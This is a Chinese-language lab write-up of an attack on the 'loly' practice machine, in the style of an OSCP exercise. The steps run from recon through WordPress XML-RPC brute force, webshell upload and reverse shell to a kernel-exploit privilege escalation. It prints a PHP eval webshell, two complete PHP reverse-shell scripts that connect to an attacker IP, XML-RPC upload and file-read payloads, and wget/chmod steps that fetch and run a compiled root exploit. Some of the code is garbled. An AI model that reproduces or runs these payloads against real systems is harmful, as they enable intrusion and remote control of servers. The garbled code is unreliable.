OSCP-loly靶场攻防

admin 2022年7月25日01:05:02评论283 views字数 4183阅读13分56秒阅读模式

环境说明

使用了vmbox搭建

nat模式,IP段 为 10.0.2.0/24

kali ip:10.0.2.15

信息收集

探测存活主机
nmap -sP 10.0.2.0/24

OSCP-loly靶场攻防


探测目标主机端口
nmap -sV 10.0.2.6 -p 1-65535

OSCP-loly靶场攻防


目录扫描

dirb http://10.0.2.6/

依旧是80端口,依旧是目录扫描,这次发现了使用了wordpress cms,那么可能是远程代码,又或者主题上传getshell,具体是什么样的呢,继续渗透,看看会是那种猜测。

漏洞攻击

kali 中带有 扫描wordpress的的工具 wpscan

wpscan --url http://10.0.2.6/wordpress/

然后扫描到了他的版本是 5.5

OSCP-loly靶场攻防


有一个xml-rpc这个接口可以使用,可以理解为 存在xxe漏洞。

OSCP-loly靶场攻防


百度搜xml-rpc

OSCP-loly靶场攻防


访问链接,确定被激活了,支持post请求

OSCP-loly靶场攻防


OSCP-loly靶场攻防


搜索 有upload字样 试试上传文件,失败了

OSCP-loly靶场攻防

<methodCall><methodName>wp.uploadFile</methodName><params><param><value>/shell.php</value></param><param><value><?php eval($_POST['a']);?></value></param></params></methodCall>

OSCP-loly靶场攻防


读密码

<methodCall><methodName>pingback.ping</methodName><param></param><value><string>file:///var/log/apache2/access_log</string></value></param></param><value><string>file://localhost/wordpress/?p=1</string></value></param></params></methodCall>



密码爆破

但是需要知道绝路路径,太费时间,于是就通过wp.getUsersBlogs进行爆破

OSCP-loly靶场攻防


kali中也有对应的密码字典,所以也很方便。

OSCP-loly靶场攻防

OSCP-loly靶场攻防


burp抓包 添加变量进行爆破(刚开始爆破admin,发现博客主题是loly)

OSCP-loly靶场攻防


OSCP-loly靶场攻防

OSCP-loly靶场攻防


账号:loly
密码:fernando


还有一种方式,就是wpscan自带的爆破模块这里就不说了。


后台getshell

后台主题上传,或者在线改php文件,和之前推测的一样第二条。

访问后台的时候,跳转到了外网的,这是改一下本机的hosts文件 指向靶机ip

10.0.2.6 loly.lc

OSCP-loly靶场攻防


tmd,老外天天看英文不烦吗,不会改成中文,学学汉语吗

wogiao,我才发现我的kali 可以上外网。下载个谷歌 右键中文翻译吧。

找了半天,有个上传文件的地方

OSCP-loly靶场攻防


一句话木马,压缩zip

<?php eval($_POST['a']);?>


访问
/wordpress/wp-content/banners/shell.php

OSCP-loly靶场攻防

c刀连接,淦 链接失败

OSCP-loly靶场攻防


反弹shell吧


<?phpset_time_limit(0); $ip="10.0.2.15";$port="5555";$fp=@fsockopen($ip,$port,$errno,$errstr);if(!$fp){echo "error";}else{           fputs($fp,"n+++++++++++++connect sucess+++++++++n");           while(!feof($fp)){           fputs($fp,"shell:");           $shell=fgets($fp);           $message=`$shell`;           fputs($fp,$message);           }fclose($fp);}?>

kali 监听

nc -lvnp 5555

OSCP-loly靶场攻防


直接找flag吧,这次普通用户下没有flag了,

权限提升

使用find查找suid权限的文件

find / -perm -u=s -type f 2>/dev/null

OSCP-loly靶场攻防


发现sudo可以,但是需要知道www的密码,翻翻源码,找下配置文件

cat /var/www/html/wordpress/wp-config.php

OSCP-loly靶场攻防


看下passwd文件

OSCP-loly靶场攻防


有一个loly,切换用户,试试sudo

su没反应

更换bash也没反应

python3 -c "import pty; pty.spawn('/bin/bash')"

应该是php脚本的问题,重新上传一个再试试


<?php// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php// Copyright (C) 2007 [email protected]
set_time_limit (0);$VERSION = "1.0";$ip = '10.10.10.10';$port = 9001;$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; sh -i';$daemon = 0;$debug = 0;
if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); }
$daemon = 1;} else { printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}
chdir("/");
umask(0);
// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) { printit("$errstr ($errno)"); exit(1);}
$descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1);}
stream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; }
if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; }
$read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); }
if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); }
if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); }}
fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);
function printit ($string) { if (!$daemon) { print "$stringn"; }}?>

OSCP-loly靶场攻防


哦哦噢噢噢噢噢噢噢噢噢噢噢噢噢噢

尝试sudo提权

lolylolyisabeautifulgirl

OSCP-loly靶场攻防


淦 没加进sudo组里

看看版本信息吧

uname -a 发现了内核好低

OSCP-loly靶场攻防


内核提权

依旧使用这个命令 搜索exp 然后复制到当前目录下,gcc编译

OSCP-loly靶场攻防


编译expgcc 45010.c -o root
python -m http.server 800

OSCP-loly靶场攻防


靶机运行

wget http://10.0.2.15:800/root

OSCP-loly靶场攻防


添加运行权限

chmod 755 root

OSCP-loly靶场攻防


woc flag呢


原文始发于微信公众号(轩公子谈技术):OSCP-loly靶场攻防

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月25日01:05:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OSCP-loly靶场攻防https://cn-sec.com/archives/1197568.html

发表评论

匿名网友 填写信息